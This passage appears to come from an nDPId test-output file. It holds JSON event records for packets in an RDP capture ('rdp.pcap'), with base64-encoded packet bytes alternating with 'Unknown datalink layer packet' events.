BPIht3iueJOKqU+rtuNLk5GNZBplBz2bnMafzp0USXu5hIVS72VHNCJqvDSKCxnDtn7OS2u8sd3LZy+3FPA18EI0jVYoT4Pp543Am0zZC1+uCPs24gN15Ts+Wak3aDqs6GQZekc78fvyBpC25NB9A5DZt7vKNnXfjfAQDxRth8eyJ3x4Id\/c\/mNSk0XvmfzcytklVd8tpQ9RX\/j88Pk9XgqlkiGELKEEOUnyotJgWwZbwgUNxHT1uPBRQf4bCmU2sSqLIlJCC0jP0becda0InmJZuLAFU3aYfr+3HXTul0h1AhLjUYu6FqwguL+O6Sx3dudrXPgnoZTvCx\/YiHG4vJkVU34OT8xyAQ7tL7KY5T39l1xdXkbWmdV1FUeBL8T2cd4sHbvKYXChn43Q31NAanHOBFXWtDXEY0jEg7wcCp6mjxkWxdmG\/NlBwQrePKRiAFWGTZeOk5PYfGD5pcPwTsLav+aWczYWT48ff3zYGVLulEkSqAYn5QBVdic24VigIGmd\/AYp3eflFuVBxcDghedeKIf0NiAkvpiGc9bu6mwo9HsXboRarjLhbfNWATj9NU4b0DzMibKgQbQ59IR4S9YcMqxoIEFrVnxNWSeAUq1oNpId12w0kAbqEQz2T5dIyqP4foJPa+BFlPZVLiGiIPO4AeQhS8NQowq\/\/CtmxFJTQpgzcl+tjp6ZZ1nqM7Nghcuk6DGTVFinrizu5ReNyqwvFo"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1901,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1902,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":843966,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjh0AAfwYkzsCoAo6sEAK5DT3NDkeiDDz5vSOXUBj452ZhAADyOnK1kVXmWj04BVHyv\/x3eOOFmwFt8XD+NHa4HkL7c3QC21EDNqsgSyhJ\/VyD356HWi9qNnXiTDNsA0kNuDjWCz4JwB1qdzU8x9DNQMN\/zijw3cXBy2qKIlyeDtzC6bn3\/X20MAW9YYRPde\/AQdL3TnbxrUZf0XXUsVzKmUy3ORwbfTEh6MbGmGa3s2xglKW2AlSdK1WcAfYapTeOXw2JWVabAkD5PGdltCru6rIlNxWcr7MSZhQ5cHzLzMObOdWw4ez6UeScWEUshNBrGI\/Kwelqa5tGzDONJaCvxlOXSxY25oKf\/tpu7VcApufFrD+Ms9ucsEww1dCqpNcUNFPRK\/QHZxT8vafkiL\/eiXVdxVRD\/c6Kf61SR5z9G8yIzWUgj02PgR5EVwX3mfV9FfIXM81nuaEtRuMcYES2nlfRz0+dSzaV7SyQCU+XUx+GY1MPlHtIEosfqYOGYNuvV99CwKfxiuDroYXtqmAaRsvyOax+QYwZN1rNuXst"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1902,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1903,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":844009,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JAlHog23UBAfzNCcAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1903,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1904,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":844092,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jiEAAfwYmE8CoAo6sEAK5DT3NDkeiDbf5vSOXUBj459ljAAAXAwMAMAAAAAAAAAJtSQ+SnC+gd\/L08taXEejYWhEfWSovle5ehIdVJO7jnsa+Y9MewjPQEA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1904,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1905,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":844133,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JAlHog3sUBAf\/tA1AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1905,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1906,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":844378,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9JAlHog3sUBggAPc9AAAXAwMAMOAIO32NJwxDG1AGMY7DRdUoq7OsYUPwEJc28tOC43y7bEIIJdBEopcpOkyM1s0fVg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1906,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02081{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1907,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":844473,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjiUAAfwYhTsCoAo6sEAK5DT3NDkeiDez5vSOXUBD45xH3AAAXAwMGbwAAAAAAAAJuzP1JDIIlHKwm0KkgwZkt3rzhB3SRO+q3OdTc\/21BT40\/KOCetW5nA9ckReR366EwtFe5NKq+OPzYXrKy0lJR4qBNB3V9hwz1QF56oJ0zE4ibHG3clTH33EVAUZ0BHk5lN+3Ox+fCB\/2HRSdwEG7z+qtkv9Csf0UjT9RKXlwYysta7znQ6JoTsrslPEWvi\/s7GhPaEshsCaOU\/GMA9G0VOyFHWYxT06fMsTCU0YauM\/EOpJZ6Mm2UQtSa4V4OBEJzcv\/MhWwSRkvoaneqTJvCfY6\/6fW6PI2CHDQ4CkXG9CHNQT4aqhYHXleEWvL+K7DKv9hkOrrTB6+jcXSDU1mgxsKqPKuGzr7rmAmzsydKr9jLlLL7gyYL4PYbXXfCLnv1Y75RLKaAYvEodcawc7rLm6mruScGNWAYsn23gh7lSnLwpeG5IVE\/EsYhsaJiEBZErbZEeGORhHIyMtGs\/Sztyl9JUIPP4IFp8EwFrXajk7iq+Jwc09t+Y0u2qNlXgpE9Fz+sVurgo+FaZooFTpKczNobwZtSur8jyImRqlXxxsIwX7toRo2lt9z7tL3+4++Ko7kx2Rte5bwfPyxgR6HffvBSEWE8srd3pu8qD6hMVFX3jfzo8OQC9eoedXNobW7R1DCZ+TCyDz7VNQIEh5VbHmyg7tlT0aJPvBlP1CID4qdYnK5qAzKigG8hZ1PoHWbZStIEd9LrfZqPZ0v5khtyZxWeWfjVMEbLstWE\/Z2zI4vqJLfPva4NATZzwi4\/N3pH2QG115K9LW5trUS0UK74lQ4DZBqVmVzBRbuhTDUZ7yaSpecVwWKyxiHr9mUcLKcMomWzBoKCqRDY+PhtloZ7VJJxBv\/cRdC0WcUQkUcjaDPtNOI7ZsuMIKDGU2DVFx101\/59KBNgP9rEtBdcDBXld4Dju1ZK2Y0zjNzj7\/7W7lNRIBUwU9miVNyR0e3V3LrQgh7V2Ac7lbyUmMKNXt++tE0Aq+f+gnj\/oNkD+jAXCScZUqGHfXhvWCicK56NqB5yZf01KwSzQ8N+U0QxStpFJZbuPC0\/V5s9LguZDrLbiZXjszudb\/XbLjxbHbzf+9bEWQFDmKg9K0EfBQQ1d79WyHYKGWr9VldyYx9Lf\/wjsKuEccDGs\/d7C00VtuZ6pDjC1NAKp0qpzLZFXq3kIW6YEKBFPZ0E5nHKURdlFeTLWOn6ziz6xFOs1+LjWFng6dLWgx9QMRBvpQbXpnmacxG4hlOgzfSD5r\/AYXyDd4XUfeXjBv9WCD24rsu7+Hxq2EBBrcjspoFAy9tcBSeUXSJLMHErTABJgm+RJW0MEH\/4vmuhgx\/gSpcjHO18+7QBzKASyipIDWZv3WLnf+qpBJzE6xezaf2KLTdR\/PeAGUo7orgwtM9O9xna+ZPKa05yHJKVfNtEtQNPrl6r7g2171KGTeTRt5ans4vLiFjy3qG1YhOfBSDZWxuK\/fg1+nEeOyWWu\/zQgVea24\/hwjSLPLx6w7BfA\/dKoqn1pdTRAHMRzbhH+EpM7mrDmOvsmMUd933OsIkGjae4D2iGFLSXCW+lbx69jgbo7a0WV3SkWkGfM4r8DpQZH2XkjEQus2ulOT9MtM3jpNefLMVFOJ\/VaKzsug1XbhXwCt5fxKiB03\/VVpMMx0Y36yMGXyI7xzxYrnNPoCIqw2orimtKa9rP"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1907,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1908,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":844563,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjikAAfwYky8CoAo6sEAK5DT3NDkeiEuX5vSOXUBj459sLAACOdeIiy07BV6RSxbAMvrs70soLU+CTSz1SsRKY\/RkiKv2PyQy8nqh8ohOOILK96e5XTu\/Zc6YekoMrdS4wxA7g+HJxxGxtC72CoJfes2pBgwO4oLk+QLB\/U2TIxMozvNs4lbmj2ZRPqOwKw2HguPHFfE2mke1uZX2hf6sp6F0gMvpskXkqdR4xq+Gmpx4P+teCQbSHFKZFGs0nKgtyQCHIuLZmgz5GtrAk+af5rGjD7LEMqTUvjE1\/y4UP9wHToqYqhaKIsumRB6uGrxcanp7ycAevS9HDJg5lMgeRv+N\/03tZPeHp0abyqQkC4xX2WKBRfEYjMlq4XXtVIHzqHE+fw901Pe9Id46\/se\/onXfHb0rhZdQfIFjg43a0VJ9H2jIDApWQngZkvYm40g2E+lP\/kYpFW5osPKQvN\/6NdA5igd6nKONOUjSCAzn0CrcxVm1Efetd6t74YoEOv2BQ0qb+z\/cgpm6mSJ2dOqLyBITWUBZdRYxIO0nTsCCo"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1908,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1909,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":844655,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JD5HohRgUBAf9MmWAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1909,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02081{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1910,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":844790,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFji0AAfwYhTMCoAo6sEAK5DT3NDkeiFGD5vSOXUBD455zIAAAXAwMGbwAAAAAAAAJvKl8K0lsdtIqAbJ08L8wtSDMl5efy5w1UqkgsLQWGsbYpdixU2fVlABvu3JaSlLVubLEhEqLqc6fKJgKyss8ax84j\/FNcZN2Dsw1snQsrfU4lXhGAGg1VvDNsiRL+u0Jf6WgV5a7H2F0cZDlVMkhRLZhwdGt7arvQsYO21lZEHfZLzfiyWT32+Sdmd53obNgNW4iz4O8xkNLmQRUVkk3S23MPM6YU\/y20Bp\/Izz37lfQfrcsj9BU+hNsy0zY1YNpf8B3uiQAsYaw4cieT3dC\/2zfHnmmHkvED6tJsx1ktQ+qtMdDVdUqBnceSXTYmdZn8cp5reAi7JA904v3BolN\/Bm5GkC0bxHH1Zsqr6fH32HuLwI3jR79Vdg9cu27VOnyQlCY7dsTkhAM4SILFNnsBVIJ1TAiYJJcKjFbSKM1fgP2PJ8oH+lsBHQqSbP5lnMwtYeu1c\/32V9neAyAx98zn1q61u7ru3bFTLmGnOAdX58crH\/6HAGgttuaC8VYHHpj6Wmtm2DoAD7xbjVcmEhk85RWX0REXFOowzln2AZsS6dl5+rJTcTJ2o2hO7hUSsWG8iRJ3+t633qKGJk901bwsrlBjWiDUWT1gXGoKoy2hsEI7XJKwhJHIoIvUIxby4YVUnGLFM8fUdBnLMrp1dcsI0mPUvmoo8We6SCODzO1Q3ykMqSWzS+INoVxpZvYxvC66LC3MxHRv\/uKz05tAv5b1kz0cwcf8DWbafECtUBsaZeHYIxYGlER\/GnPFzICHpG+MTUSJD9KY9FMIUNi3saJQsUIT\/biF0Hh5g\/lobk2KoI3LrKZKYWtPlI2mwvGrwmqG6d9eHVSwYhIJpm7PY3Y51AJpISPeIz2\/U5CbiP\/axkDvbMbwnb0BGZehpKarTatUYlPzE205j8bAn0lSWl1tBtczrmw\/QQzUSf0fna0Jv6GhopLmwSn6L5ZNvmqJ+Vjm8O75nQqM3daK+p0V2PScTy\/f3b0egrwQFwp4OkpAjTjn+9sIFxui77lY5SfQP9N+nzD0WMI3X0+\/NydT3Z01NhxpJ1Vu4OZfkV7xKQ\/yOfISU4T565zHobKfDy6uq3CvzvIBfkSvtA0jULN+AusfwA9tI+6JqaJZI4sMMScHE1\/4vu3frnhdQ5udP5PP6ry7m2VB7silo\/0bPoWTVi3SRKfq6qYm8SxgTHlQIhaaMM+TfSy0DP2yfbbBLeQeThZ4J1jOoDud0DinGWLnZwKp5yqhDkEqeaadTQLG75tWuKv+nHqz5VQEAXAT0W2qc3qRmWkDEQomwmX6IoqvC\/VpK31TTZhldoNvTvgB1UpBzhFnK58Gw8y9FLCKDj+gVeDxkyVPXXmw+Wvy0Kxl6k\/hFiEn30QDbkiLogRScaApCdpU3YF3X403C\/q0M\/iXWuw1ngR0zCDbfx\/iAe1WPcXC\/qR4gTmDreqNjObCk90drsuTIGFda88l9ze2Eyd2w1xU\/oiFLdP3yUQzUFq1tOs3wgNF0C02Jxm2T\/CbevvNTpw2LZl8JH09dkQz9j5nzUoRvj5UAJttSo3KBcbZ6dKx9Zt2OSI71V1o5T\/9eau\/KoYqTcQDq11iV6\/ZTwybmYpF4OFVnfhmcgXsEgr7sNRfA+TShm3KxbNADpY2qH8ZOoiFtXhbTNn0ZyPy4H6WoNtTXbBOF4lBV9mo6yiN"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1910,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1911,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":845002,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjjEAAfwYkycCoAo6sEAK5DT3NDkeiGVn5vSOXUBj455pnAAAU5ncBUPtv25LvDUD6bjQU38i1NQAcnwWvZVmsX5tlkYTU\/DzxCEzKE1R2mN2JMXOs3n+HmmCpf\/pAC3kC6ndAu2fISL8OPXHEJ3UvfD51zWNTBItBjbC221gQHgahUPpLXFGqINHSasAGn3zahDlok74S5Be5ZvXSfGki8l3Dse2sdHTXwf1v98kBwvmRMAZuLdjxxxRZHtxFceoah\/DZ+XPdoOuUczztC2tGzPgTRkBQhpg9z62tXAHLAUydo\/OZsDr4GKE5Vm44AUYVRAh3wKY2ET0dQklDSr5hAUnLNBcDYl8YfQnZFmSC0PZxfcDh8i6YwiNF3KUTL5zBI3T4ZDCgn6TAvYkU1ZroKihqiEOvnIuBPNLo9BiydYmjwqUonftriZlM8zztBkZ8WdfkF8tR4bLA4xCzMkRg3hUkzu1Z6MiV1v+IYOrkDBQvHeczAa606Mj0kcPe7uE\/Pv+ZhvC8dD0D\/ocGyPriqCHK4NdIkFclWhxkLsix"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1911,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1912,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":845039,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JD5HohrUUBAf9MMiAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1912,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02069{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1913,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":845081,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjjUAAfwYhSsCoAo6sEAK5DT3NDkeiGtT5vSOXUBD451TQAAAXAwMGbwAAAAAAAAJwGJ8WMVhs1rb\/9oxoYNGeu6hszXHGffGWCWMawvu766lw+eJNTHyrT2ja665gDX2NwF19eBm1BP3qhg5dsuB5W+nehLRHeG+gwQq4Oh6uXt51AKGq00PaVNUuYtd6j+ue+UpE289snXp56mPO2YnV8vYmTZcs36neHrb8yINoRFmH9qFaHSkTos1UaJr8FjLF0TjZvelGQt7+fcyZiqYi3MTgTBBxDua4WQ+EXsKIJQHCcBln9O\/9h9yVNcn1auJizjoN4RY2gxZM2VZIEebMJ7o3GxujwN0B9PmI7rYXSl9t8xsqOE6JRicnNoJEU0onuBsgjAfxT3xv5PeaXFeUOft3hZtS5IKMNLp4ajTU11G3FfxQ7wfrSFoNinPAeH7aL1H9b9WgIZE2gxVeim3e+PUAz2k2zrU2aXBtZNm6kj4VbZ9SV2lsviOJ+Jauytb1+MGPANyzeoeYUuMwLs6vP0hua4boCDRabPpgntjUmQ1VUr964J6cv++Be898KcmdbqeMI37Rl5XCZZmZWX4q9HjRlG87qYTQVxzL40IKehIzpSkV\/7ZNOU+bQKThmZUvx0GBlQqfOpFapFAUnE2tLo7NVaMIvcboJUmjh4uMhneWplK8N\/EZdbbf7T5XWuYfGp4jIQb9whpHg8wyHtT\/FISpwuaG5XgXNnxyA5C4t\/7L+eA+c7lVG3IfB43meSO57ti7jg5X1Q0+JNEU1nlwgpki\/EQh9BViLRzv6fjNBscUtNMnE63BakEkzXjBNBqQhlatIVQTmvCKWbLfQJjtYqaHO6sahEEsErivJ14sXTc8xwpocYA7UWjnCWpWPvoS1\/zmQgluz8dt2cbfRIfARKQBjxTP1GoO5eTTbvGJjbhYkcszbcYTFrEh3z1MYA+SeLqCDYySiuhfE7SzL\/R5AvzBJz5moibud\/BipyhHDDHAYxK2iqpi8p4Jil7H\/bWP9wU2BfgnZ4hrMgrhhhf5W4VwiTjL1oBNEQAJAD1QkNHap9eFgeOWYlBPQnRhSJk2YGY7rdOeILkOT1ObnMt+wZZCLiRb8jD80qVg6LMN732V+buQ2RROx32nps2kOPiKfFciaas7Mb0rQUiTuUH3RB9ekQ72nPV32HW2TVAZuCnYxXnof19VRK9tcSYHCvCpHSIsLTcn8TmCiZorDS6KMV1XWUVYgv3gkdD2i6VOZk4UQ1BRDsiLVPnFGblmid3rw095IKhmjIK7vljbKGzMKMy2mewtUT4QSN6ZiAXei6X8kazg\/AAzbE\/ElWcZ8AGXdMKI3sLyXkY73rt3sRYe+Fe5BzOMKAHjlRW+P9+UDwXkyzhDAwrCT4eA2CndTR6lduwfDXci6zQjXjymaEOhYcO1QVMkNsCsacv91ArDpDH5rZt\/1Q\/hOuX4rjpieHPkuYnUUmdp2Pz3MUe90fjRXn4JXMcOKSjB+4CW2AQlc8DbV7pt2CewJPpJtu+DyYWm5Olak2rNpIpvO0ZqI6EopdktztknENQrPDUdCiTKH6sywamTAnyXjNaOmx8TQNxxgVI5wtjjWCfC51YY8j7aBvfGkxqqAgbGyqmSZ\/YQULzfw2PL5JIfg9a27a7CWFZeqwc0pOZ9ADEyQOpsV655aEfr2RZ1om\/wE8fgIncXC9DDnsAK+er4Utc2TZdi2+a7i\/tMvXmgnanyYn6l"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1913,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1914,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":845392,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjjkAAfwYkx8CoAo6sEAK5DT3NDkeiH835vSOXUBj45zvoAACNkLpPe2fb\/eo2\/qvvQtxUeQb9lqHOZ9o3D4mz8+h0wzDkS+SzjFkX+W8FnRB6vCfgPlNaTbVhDnXaL3Z6II0s48NWdc+qy7aajAvTQziwPiohHArhp4nndNBM\/oS58RqoOeWq+PF+2IPdEIf1Wacll0aoQMCLAi7yz4\/ISjF+UooCeu2THQ6lM5A1jnfD1dCWg9JK+JglPt9mUN7vexhEzhUy6dEUnh7sWASqda8QNyF5JLxtNB4MVOaLVAukv0XMkfB+6LqupNGK79gd3LxaAppM29ytK64YpYu7ImQFOh2O1Uu6NVjT4Wc7Jbk2AZpdqKIwhhNT+J3NaMMCnWbrGJLMqtvuwZ0TGr3euzRvcdwitNp4wVYkDBzkBC8j+k\/Ql56Kcq7SZ9DiTu7bMW2yMpiaC0QZbvIDkD8KF6BgRFOpeB6ekCvdIQCYUIPv38zJB119DFaEUEW7+OU+PvK71RiU3cmMtEbYmJCInV3y+0ImJlooEoesCLsE"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1914,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1915,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":845433,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JD5HoiFIUBAf9LyuAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1915,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02079{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1916,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":845525,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjj0AAfwYhSMCoAo6sEAK5DT3NDkeiIUj5vSOXUBD45+HmAAAXAwMGbwAAAAAAAAJxm7FP49KfXn2gLT1RZDGeqILUbLQeWkd4h83iUmsGszYGzLh1rSu8LW6J9PAkkHwd29j8HnvTVr+2Fl2gAq9BxAKPP9CjT1r5zGS5W8mmdc95E5ouOSW\/ErDWgp6sHIBkIK4BNorJ\/6BQTI12ionsixcuhAmmTag6PY13m5bQBq1xV1Eilgu9fHxarAVWSy+B+AdSVfp9LDmhuS445T\/SlmKtTZGzE\/kLKHDeFSqBWasyV87tUguevJOmA7XbhZEZekmDBOwH37RQ9CfBV2fdc+5iZrgjXN9FK6LbXi9dpzP7qvtO4FNhEwmFrhfDD7iR3hy\/biTHe5sR7MdvNVbVRZcjgkzf5DBv9EWiNBdT0fRRfPKI4hB9SAmWq5HwlwmL61C4s1pSDgI8vsINMY3W1pSoyQEbJOR4C3jYa2KfhCkdFWZ8YGoDL1aW3PfvRyGwaYTa9Q7tyY5U\/PF8gQcnnaGdM4lWAglhve4R+aThA5Ri\/+CSwhmypC6ckQThXlLQgpAfZKfdhlTyCFNZxwvUmfPuVNgoQ88CtPwth6EaFtGFLMHQZoyHDWFyCM7Jad+WyY900vhuh7nBHAVU6d9mHLv8+LlR1ppjViceoOFXhYmJdJNxCtl4AUei5YYqzw5lEltFLAisWWTse0J43FFEsI0LgHnUC8DdHc4s+zA+dHKjpTb5QLs64GaHIfh3h\/\/qi7uyEqcIPV\/IdWme9KMyFou5zH01\/vm6NbTEw7i8Is2w4cFvBeJgzT7\/4kQRWUmr5+M2rVJSmRTD7kiaT7APLVYWhTZr6ect5kbKlNB6dBU3QNQrrw2J9L7Yf6F69In2Y\/FwhteTZr0qu0OUJN5nb+590jfkNTy4dlua6mWEnlZ7i9tV6vz0hh9hne8RkUhpRIA7Da5oRglhlxlkEJ1vmkfv27YE7SlMXOTOkAw4HMjlEbb7gjHeL0vsUCZN4GPyKZ2dQIw8NYrfX7tbZ9QLwBgaJNlQ0zOfbXlezmMuyZwyh0tro\/roxOUPB2omfI+fG81rM9eN3\/My2rGFyaH3m9bXiO5GP3fOHen5sXSQVR4P1eDgBqfUl9wC\/FfGMgjJySJaYRk\/r8ankk4kdevDnghV6rKXrt+0NwFztYWINjU3F8U0tgusy7FUycyMzW5oLo3yDJK\/TbkpwApsV+mInc+nD6QMknyN2eHf7R19rwnNkkDXnqxud3oVsTstskSNoGHsBSg91yUnKNALkjU1Fftvm6FKYfbvZI0r9dZ7g7JmRgFSVSCDbcMyag0peHgeWWyH+o9L1INQC\/ox3aUN8kys209PCnOYtclhUj6jGm\/i\/t\/qTmyXRgb+GyP6i0Eoq6YlC7Mag\/1\/U0t9EvmjIczRp2g3CAS8HYBUZaUTqJLhk0UHud6vncJrZ7qSELooa5eTwaeJqmqueMCKHJkboWMye7ay08Qq7FySxQqdrohzRxumW9n83WTlcFLZRVe9S72auSWb9QvI\/mSfdRIukZOKl8A2CSuf+5+rybm\/s6NSf+FuzR5e8kFI9lQASXcQmd0G21L1nwlTykXEftsaGw0TdZmAv+70U9QpAwjD8fSh07QnPkasdO2ODkX99S2p3\/jqRx5i6Ut3cW8DrflZeHnZmELH45\/RzhEYT32+3nPQxunXCEQfGIoi3MyTuiul68DTMdsmHqdjUwcF"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1916,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1917,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":845631,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjkEAAfwYkxcCoAo6sEAK5DT3NDkeiJkH5vSOXUBj45x8KAACSeW51YPkDiWCoO58Wx2HCBHMnahkzwrMCXWAvYB40l\/W63KYsK5zoVfflRyLJnu0LzOSKyIKURdg7vgmDGAjL+CwCNToqdudeo2K3YNVVrPcm1pMQ5fe79q7Emf04JR6QCNhu1VJxkWh8FFENGaJ7bR72P4GE1O2ug7ZJCLqSLS\/3psg8IAvMCP5fEtsA2CXJqXTSyTGhPrma7CZS7W1hN1X\/eOFL+ftabuIoHXfl25LTpfI62szNxZV4aB++sHonsevuYShvHEiiGShIo3sTSOyKz5tXggiapCyJm5VdL40nGboTEtWghcGMQbvNNotYhNGTejy6BNAr1\/Ca16QKvWQz2fe2qISGCXFfJOzHNgmETWRfomOw\/c6XcQUJzGaQLawGg1MsjaQaRo5O1S4o6kpC+bNRT8XZR9rZR1UTJabFpSTjgGMHA7aOBhPBIWyWmbrwIDKhandEeWmMnQVenVThKhR8PaTQhoSCs827BAFUv5\/II+H39a\/n"} 